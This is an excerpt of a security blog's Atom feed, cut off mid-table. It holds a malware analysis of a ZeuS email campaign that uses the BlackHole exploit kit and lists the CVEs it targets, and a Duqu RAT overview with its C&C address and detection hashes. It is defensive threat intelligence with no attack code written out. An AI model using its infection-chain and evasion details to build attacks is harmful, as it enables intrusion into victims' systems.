href="http://www.blogger.com/feeds/4200832237456548715/posts/default/3703580003413792726?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/fxb2Y23Hsu0/murofet-v20-zeus-p2p.html" title="Murofet v2.0 (ZeuS P2P)" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-WyYglxMlziY/TsqZAGEZUwI/AAAAAAAAA1Y/L551qDoQ4a0/s72-c/ercp.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/11/murofet-v20-zeus-p2p.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ck8ASX88eCp7ImA9WhRSGU0.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-9017405237417590909</id><published>2011-11-18T04:17:00.000-08:00</published><updated>2011-11-21T10:40:48.170-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-21T10:40:48.170-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="PDF" /><category scheme="http://www.blogger.com/atom/ns#" term="ZeuS" /><category scheme="http://www.blogger.com/atom/ns#" term="Trojans" /><category scheme="http://www.blogger.com/atom/ns#" term="Exploit Kits" /><category scheme="http://www.blogger.com/atom/ns#" term="Malware" /><category scheme="http://www.blogger.com/atom/ns#" term="Botnet" /><category scheme="http://www.blogger.com/atom/ns#" term="Vulnerabilities" /><title>New ZeuS distribution campaign: ACH transaction canceled</title><content type="html">&lt;div style="text-align: justify;"&gt;Our team has detected a ZeuS trojan distribution by email campaign that has been running for some days. The malicious emails include a link to a supposed report about a cancelled transaction, which is actually an HTML page that loads Javascript code into the victim’s browser. This code tries to exploit different vulnerabilities in Java, Flash and PDF to install ZeuS 2.0 on the system. This is one of the latest versions of ZeuS which uses P2P as part of its infrastructure.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;The subject of the emails detected so far is “ACH transaction canceled” and in the body of the mail there is information about a supposed transaction that has been cancelled. If the victim wants further information then they have to visit a link that contains a report about the transaction:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-IpR7LAsNLzY/TsVSr1M27lI/AAAAAAAAAzs/gQpnEIler7c/s1600/mail.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 411px; height: 133px;" src="http://1.bp.blogspot.com/-IpR7LAsNLzY/TsVSr1M27lI/AAAAAAAAAzs/gQpnEIler7c/s400/mail.png" alt="" id="BLOGGER_PHOTO_ID_5676033818339241554" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;For a few seconds the victim sees a screen indicating that they must wait. Meanwhile 4 scripts, stored on different domains are loaded into user’s browser. They are little more than simple redirections towards the site where the code (that will attempt to perform the exploitation) resides.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://4.bp.blogspot.com/-1PJ3HQMmuwI/TsVS_Yz73MI/AAAAAAAAA0c/CoqaYpmWp2c/s1600/scripts.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 103px;" src="http://4.bp.blogspot.com/-1PJ3HQMmuwI/TsVS_Yz73MI/AAAAAAAAA0c/CoqaYpmWp2c/s400/scripts.png" alt="" id="BLOGGER_PHOTO_ID_5676034154315898050" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;There are currently three different domains hosting the malicious content, created on the 2nd, 6th and 9th of November and they resolve to the same IP, located in Russia. This malicious content is obfuscated Javascript code that belongs to the &lt;a href="http://community.websense.com/blogs/securitylabs/pages/black-hole-exploit-kit.aspx"&gt;BlackHole&lt;/a&gt; exploit kit.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-gL2aHlXGonw/TsVS-xrlvMI/AAAAAAAAA0A/MuD5l2Xmt3I/s1600/js.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 237px;" src="http://4.bp.blogspot.com/-gL2aHlXGonw/TsVS-xrlvMI/AAAAAAAAA0A/MuD5l2Xmt3I/s400/js.png" alt="" id="BLOGGER_PHOTO_ID_5676034143811910850" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Once the code is “de-obfuscated”, several functions can be seen that attempt to exploit vulnerabilities in various plugins installed in the victim’s browser:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Java (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3552"&gt;CVE-2010-3552&lt;/a&gt;, &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0886"&gt;CVE-2010-0886&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Flash&lt;/li&gt;&lt;/ul&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;PDF (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0188"&gt;CVE-2010-0188&lt;/a&gt;, &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0927"&gt;CVE-2009-0927&lt;/a&gt;, &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4324"&gt;CVE-2009-4324&lt;/a&gt;, &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2992"&gt;CVE-2008-2992&lt;/a&gt;, &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5659"&gt;CVE-2007-5659&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Media Player&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-hV-cGqN-TeE/TsVS-vCJbEI/AAAAAAAAAz4/zdcdxJu-O7M/s1600/exploiting.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 225px;" src="http://3.bp.blogspot.com/-hV-cGqN-TeE/TsVS-vCJbEI/AAAAAAAAAz4/zdcdxJu-O7M/s400/exploiting.png" alt="" id="BLOGGER_PHOTO_ID_5676034143101217858" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;They all use the same (or very similar) shellcode, whose objective is to download and execute the malicious code in question. In the case of the analyzed shellcode, besides executing the binary, stored on the system with a .dll extension, it launches the application &lt;a style="font-style: italic;" href="http://support.microsoft.com/kb/249873"&gt;Regsvr32&lt;/a&gt; with the parameter &lt;span style="font-style: italic;"&gt;-s&lt;/span&gt; (silent mode) to try to register the DLL in the system, although the infection has already taken place (the first call to &lt;span style="font-style: italic;"&gt;WinExec&lt;/span&gt; in the image below).&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-7jYTvdzSDB4/TsVS_nuj6bI/AAAAAAAAA0o/wkrBfbRQpiA/s1600/sh.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 192px;" src="http://1.bp.blogspot.com/-7jYTvdzSDB4/TsVS_nuj6bI/AAAAAAAAA0o/wkrBfbRQpiA/s400/sh.png" alt="" id="BLOGGER_PHOTO_ID_5676034158319888818" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;As mentioned before, the downloaded binary is a ZeuS (P2P version). In the second part of this post &lt;a href="http://securityblog.s21sec.com/2011/11/murofet-v20-zeus-p2p.html"&gt;we are giving&lt;/a&gt; more details (behaviour, affected entities, etc.). Meanwhile update your applications and don’t click on any suspicious links.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Jose Miguel Esparza&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;S21sec e-crime&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;(&lt;a href="http://eternal-todo.com/"&gt;Blog&lt;/a&gt; / &lt;a href="http://twitter.com/eternaltodo"&gt;Twitter&lt;/a&gt;)&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/q2xevTeW5lg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/9017405237417590909/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=9017405237417590909" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/9017405237417590909?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/9017405237417590909?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/q2xevTeW5lg/new-zeus-distribution-campaign-ach.html" title="New ZeuS distribution campaign: ACH transaction canceled" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-IpR7LAsNLzY/TsVSr1M27lI/AAAAAAAAAzs/gQpnEIler7c/s72-c/mail.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/11/new-zeus-distribution-campaign-ach.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0UDQn8-fCp7ImA9WhdaFk8.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-4789850294741238837</id><published>2011-10-24T07:03:00.000-07:00</published><updated>2011-10-26T02:27:53.154-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-10-26T02:27:53.154-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="stuxnet" /><category scheme="http://www.blogger.com/atom/ns#" term="RAT" /><category scheme="http://www.blogger.com/atom/ns#" term="threat" /><category scheme="http://www.blogger.com/atom/ns#" term="Trojans" /><category scheme="http://www.blogger.com/atom/ns#" term="new" /><category scheme="http://www.blogger.com/atom/ns#" term="duqu" /><title>DUQU: A new threat</title><content type="html">&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;br /&gt;General Information&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;According to the report presented by Symantec, this trojan was detected for the first time on the 14th of October and later, on the 7th of September they found samples of the driver uploaded to VirusTotal.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;According to Symantec, this could herald an attack similar to Stuxnet, written by the authors themselves or at least by programmers with access to the source code. However, this Trojan contains code related to industrial control systems.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;The main objective of this new threat is to get information about ICS (industrial control systems) manufacturing companies, to help prepare for a subsequent attack against another company.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Duqu is, basically, a RAT (Remote Admin Trojan) that once introduced in a system, functions as a downloader for other trojans. It consists of a Driver, a DLL and a configuration file. These files are installed by another executable that, as yet, has not been identified. This installer registers the driver as a service that must be executed during system startup. Once executed, the driver injects the DLL into the process services.exe and if the injection is made correctly, the DLL extracts other components that are themselves then injected into other processes.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Duqu uses a valid digital certificate that was revoked on the 14th of October. It also waits 15 minutes before activating, once it arrives on a new machine (probably to avoid being detected in a sandbox). It is designed to automatically remove itself after 36 days.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;&lt;img src="http://4.bp.blogspot.com/-w1NcyTpucSw/TqVwncgPAWI/AAAAAAAAAzg/zOcQMxhGrT0/s400/image002.jpg" alt="" id="BLOGGER_PHOTO_ID_5667059529084240226" style="margin: 0px auto 10px; text-align: justify; display: block; cursor: pointer; width: 269px; height: 382px;" border="0" /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div style="text-align: justify;"&gt;McAfee’s theory is different. They argue that Duqu is being used to steal certificates from CAs in Europe, Africa and Asia, to afterwards be used for signing malicious code.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;A Summary of Behaviour&lt;/b&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 238);"&gt;&lt;/span&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;The malware opens a back-door in the infected system which allows the attackers to obtain the following information from the compromised system:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;A list of the processes currently executing, the details of the user’s account and domain information.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Names of the drives and related information, such as shared drives.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Screen captures.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Network information (routing tables, shared objects etc.).&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Key strokes (Keylogger).&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Names of all open windows.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;A list of shared resources.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Exploration of files in all drives, including removable drives.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;List of all machines in the domain (through NetServerEnum)&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Name of the current module, PID, session ID, Windows directory, Temp directory.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Operating System version, including if it is 64-bit or not.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Information about network adapters.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Information about local time, including the time zone.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Finally, the malware sends all the extracted information in encrypted form to a predetermined control panel (206.183.111.97), at the same time allowing the download of more malicious content from the control panel.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;&lt;b&gt; &lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Possible clues for detection&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Network traffic&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Duqu uses the HTTP and HTTPS protocols to communicate with the control panel (C&amp;amp;C) found at the IP 206.183.111.97. This server is located in India, and has been disabled by the ISP (Web Werks WEBWRKS-PHLA1).&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Communications within the range of IP addresses 206.53.48-61.* have been reported. It is highly recommended that communication device logs are reviewed for communications with this IP or any IP within the indicated range.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Detection on infected machines&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Symantec has provided the following hashes and file names that have been identified as part of the threat.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;table class="MsoNormalTable" style="text-align: justify; width: 495.4pt; border-collapse: collapse;" cellpadding="0" cellspacing="0" width="661" border="0"&gt;  &lt;tbody&gt;&lt;tr&gt;   &lt;td style="border-style: solid none; border-color: rgb(79, 129, 189) -moz-use-text-color; border-width: 1pt medium; padding: 0cm 5.4pt; width: 189.95pt;" valign="top" width="253"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;MD5&lt;/span&gt;&lt;/b&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="border-style: solid none; border-color: rgb(79, 129, 189) -moz-use-text-color; border-width: 1pt medium; padding: 0cm 5.4pt; width: 113.15pt;" valign="top" width="151"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;Name&lt;/span&gt;&lt;/b&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="border-style: solid none; border-color: rgb(79, 129, 189) -moz-use-text-color; border-width: 1pt medium; padding: 0cm 5.4pt; width: 192.3pt;" valign="top" width="256"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;Purpose&lt;/span&gt;&lt;/b&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="padding: 0cm 5.4pt; background: rgb(211, 223, 238) none repeat scroll 0% 0%; width: 189.95pt; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" valign="top" width="253"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;0a566b1616c8afeef214372b1a0580c7&lt;/span&gt;&lt;/b&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; background: rgb(211, 223, 238) none repeat scroll 0% 0%; width: 113.15pt; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" valign="top" width="151"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;cmi4432.pnf&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; background: rgb(211, 223, 238) none repeat scroll 0% 0%; width: 192.3pt; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" valign="top" width="256"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;Principal DLL&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="padding: 0cm 5.4pt; width: 189.95pt;" valign="top" width="253"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;94c4ef91dfcd0c53a96fdc387f9f9c35&lt;/span&gt;&lt;/b&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; width: 113.15pt;" valign="top" width="151"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;netp192.pnf&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; width: 192.3pt;" valign="top" width="256"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;Configuration File&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="padding: 0cm 5.4pt; background: rgb(211, 223, 238) none repeat scroll 0% 0%; width: 189.95pt; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" valign="top" width="253"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;e8d6b4dadb96ddb58775e6c85b10b6cc&lt;/span&gt;&lt;/b&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; background: rgb(211, 223, 238) none repeat scroll 0% 0%; width: 113.15pt; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" valign="top" width="151"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;cmi4464.PNF&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; background: rgb(211, 223, 238) none repeat scroll 0% 0%; width: 192.3pt; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" valign="top" width="256"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;Configuration File&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="padding: 0cm 5.4pt; width: 189.95pt;" valign="top" width="253"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;b4ac366e24204d821376653279cbad86&lt;/span&gt;&lt;/b&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; width: 113.15pt;" valign="top" width="151"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;netp191.PNF&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; width: 192.3pt;" valign="top" width="256"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;Principal DLL&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="padding: 0cm 5.4pt; background: rgb(211, 223, 238) none repeat scroll 0% 0%; width: 189.95pt; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" valign="top" width="253"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;4541e850a228eb69fd0f0e924624b245&lt;/span&gt;&lt;/b&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; background: rgb(211, 223, 238) none repeat scroll 0% 0%; width: 113.15pt; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" valign="top" width="151"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;cmi4432.sys&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; background: rgb(211, 223, 238) none repeat scroll 0% 0%; width: 192.3pt; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" valign="top" width="256"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;Driver&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="padding: 0cm 5.4pt; width: 189.95pt;" valign="top" width="253"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;0eecd17c6c215b358b7b872b74bfd800&lt;/span&gt;&lt;/b&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; width: 113.15pt;" valign="top" width="151"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;jminet7.sys&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; width: 192.3pt;" valign="top" width="256"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;Driver&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="padding: 0cm 5.4pt; background: rgb(211, 223, 238) none repeat scroll 0% 0%; width: 189.95pt; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" valign="top" width="253"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;9749d38ae9b9ddd81b50aad679ee87ec&lt;/span&gt;&lt;/b&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; background: rgb(211, 223, 238) none repeat scroll 0% 0%; width: 113.15pt; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" valign="top" width="151"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;[TEMP FILENAME]&lt;/span&gt;&lt;span 